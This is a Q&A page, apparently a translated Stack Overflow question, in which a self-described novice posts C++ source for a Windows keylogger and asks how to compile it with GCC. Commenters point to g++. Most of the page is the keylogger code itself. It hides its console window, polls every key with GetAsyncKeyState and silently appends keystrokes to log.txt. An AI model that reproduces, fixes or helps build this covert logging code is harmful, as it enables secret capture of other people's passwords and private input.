【发布时间】:2018-06-19 15:59:52
【问题描述】:
首先,我对编程知之甚少。我从一个不工作的网站上得到了一些 C 代码;当我尝试编译这个键盘记录器时:
#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char *file);
int main() {
FreeConsole();
char i;
while (true) {
Sleep(10);
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
Save(i, "log.txt");
}
}
}
return 0;
}
int Save(int _key, char *file) {
cout << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACK]");
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[RETURN]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else
fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}
命令提示符给我
fatal error: iostream: No such file or directory
compilation terminated.
我也试过了
#include <iostream.h>
而不是
#include <iostream>
并得到同样的错误。 如何编译代码?它有什么错误,如果有,我该如何解决?谢谢! (如果你能让像我这样的卢德分子更容易理解,我真的很感激) 使用GCC编译,Windows 10 64位
【问题讨论】:
-
你是如何运行你的编译器的?包含
iostream实际上表示C++ 代码,我有点怀疑你告诉gcc编译C 而不是C++。 (这不会考虑甚至可能理解相应的标题位置)。请尝试致电g++。 -
摆脱了 iostream 问题,但现在它给了我其他错误:警告:不推荐从字符串常量转换为 'char*' [-Wwrite-strings] Save(i, "log.txt "); ^ 指向右括号。
-
更新我猜的问题?
标签: gcc compilation command-prompt iostream